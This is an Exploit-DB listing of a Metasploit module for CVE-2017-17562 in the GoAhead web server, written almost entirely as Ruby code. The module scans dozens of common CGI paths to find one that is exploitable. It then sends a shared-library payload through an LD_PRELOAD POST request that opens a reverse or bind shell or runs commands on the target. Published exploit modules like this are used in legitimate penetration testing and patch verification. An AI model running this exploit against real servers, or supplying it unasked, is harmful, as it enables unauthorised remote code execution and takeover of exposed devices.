GoAhead Web Server - LD_PRELOAD Arbitrary Module Load (Metasploit)

EDB-ID: 43877
Author: Metasploit
Published: 2018-01-24
CVE: CVE-2017-17562
Type: Remote
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF)
Vulnerable App: N/A

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in GoAhead web server versions between 2.5 and that have the CGI module
enabled.
},
'Author' =>
[
'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit
'h00die', # Metasploit Module
'hdm', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-17562' ],
[ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]
],
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Platform' => 'linux',
'Targets' =>
[

[ 'Automatic (Reverse Shell)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_reverse_stub',
'ConnectionType' => 'reverse',
}
}
}
],

[ 'Automatic (Bind Shell)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_bind_stub',
'ConnectionType' => 'bind'
}
}
}
],

[ 'Automatic (Command)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],

# PowerPC stubs are currently over the 16384 maximum POST size
# [ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
# [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
# [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],

[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
],
'DefaultOptions' =>
{
'SHELL' => '/bin/sh',
},
'Privileged' => false,
'DisclosureDate' => 'Dec 18 2017', # June 9th, technically, via github commit.
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])
])
end

# Setup our mapping of Metasploit architectures to gcc architectures
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_MIPS64LE => [ 'mips64el' ],

# PowerPC stubs are currently over the 16384 maximum POST size
# ARCH_PPC => [ 'powerpc' ],
# ARCH_PPC64 => [ 'powerpc64' ],
# ARCH_PPC64LE => [ 'powerpc64le' ],

ARCH_SPARC => [ 'sparc' ],
ARCH_SPARC64 => [ 'sparc64' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
ARCH_ZARCH => [ 's390x' ],
}

# Architectures we don't offically support but can shell anyways with interact
@@payload_arch_bonus = %W{
mips64el sparc64 s390x
}

# General platforms (OS + C library)
@@payload_platforms = %W{
linux-glibc
}
end

# Use fancy payload wrappers to make exploitation a joyously lazy exercise
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
template_list = []
template_type = nil
template_arch = nil

# Handle the generic command types first
if target.arch.include?(ARCH_CMD)

# Default to a system() template
template_type = 'system'

# Handle reverse_tcp() templates
if target['ReverseStub']
template_type = 'reverse'
end

# Handle reverse_tcp() templates
if target['BindStub']
template_type = 'bind'
end

all_architectures = @@payload_arch_mappings.values.flatten.uniq

# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end

# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end

# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end

# Remove any duplicates that may have snuck in
template_list.uniq!

# Cycle through each top-level platform we know about
@@payload_platforms.each do |t_plat|

# Cycle through each template and yield
template_list.each do |t_arch|


wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
unless ::File.exist?(wrapper_path)
raise RuntimeError.new("Missing executable template at #{wrapper_path}")
end

data = ''
::File.open(wrapper_path, "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end

pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end

if %W{reverse bind}.include?(template_type)
pidx = data.index("55555")
if pidx
data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
end
end

if 'reverse' == template_type
pidx = data.index("000.000.000.000")
if pidx
data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
end
end

vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
yield(data)

# Introduce a small delay for the payload to stage
Rex.sleep(0.50)

# Short-circuit once we have a session
return if session_created?
end
end
end

# Start the shell train
def exploit
# Find a valid CGI target
target_uri = find_target_cgi
return unless target_uri

# Create wrappers for each potential architecture
cycle_possible_payloads do |wrapped_payload|

# Trigger the vulnerability and run the payload
trigger_payload(target_uri, wrapped_payload)
return if session_created?
end
end

# Determine whether the target is exploitable
def check
# Find a valid CGI target
target_uri = find_target_cgi
unless target_uri
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Vulnerable
end

# Upload and LD_PRELOAD execute the shared library payload
def trigger_payload(target_uri, wrapped_payload)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri),
'vars_get' => {
'LD_PRELOAD' => '/proc/self/fd/0'
},
'data' => wrapped_payload
})

nil
end

# Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
def find_target_cgi

target_uris = []
common_dirs = %W^
/
/cgi-bin/
/cgi/
^
common_exts = ["", ".cgi"]
common_cgis = %W^
admin
apply
non-CA-rev
checkCookie
check_user
chn/liveView
cht/liveView
cnswebserver
config
configure/set_link_neg
configure/swports_adjust
eng/liveView
firmware
getCheckCode
get_status
getmac
getparam
guest/Login
home
htmlmgr
index
index/login
jscript
kvm
liveView
login
login.asp
login/login
login/login-page
login_mgr
luci
main
main-cgi
manage/login
menu
mlogin
netbinary
nobody/Captcha
nobody/VerifyCode
normal_userLogin
otgw
page
rulectl
service
set_new_config
sl_webviewer
ssi
status
sysconf
systemutil
t/out
top
unauth
upload
variable
wanstatu
webcm
webmain
webproc
webscr
webviewLogin
webviewLogin_m64
webviewer
welcome
cgitest
^

if datastore['TARGET_URI'].to_s.length > 0
target_uris << datastore['TARGET_URI']
end

common_dirs.each do |cgi_dir|
common_cgis.each do |cgi_path|
common_exts.each do |cgi_ext|
target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
end
end
end

print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")

target_uris.each do |uri|
if is_cgi_exploitable?(uri)
print_good("Exploitable CGI located at #{uri}")
return uri
end
end

print_error("No valid CGI endpoints identified")
return
end

# Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
def is_cgi_exploitable?(uri)
res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})

if res
vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
else
vprint_status("Request for #{uri} did not return a response")
end

!!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
end

# This sometimes determines if the CGI module is enabled, but doesn't seem
# to return the error to the client in newer versions. Unused for now.
def is_cgi_enabled?
return true
res = send_request_cgi({'uri' => "/cgi-bin"})
!!(res && res.body && res.body.to_s.include?("Missing CGI name"))
end
end

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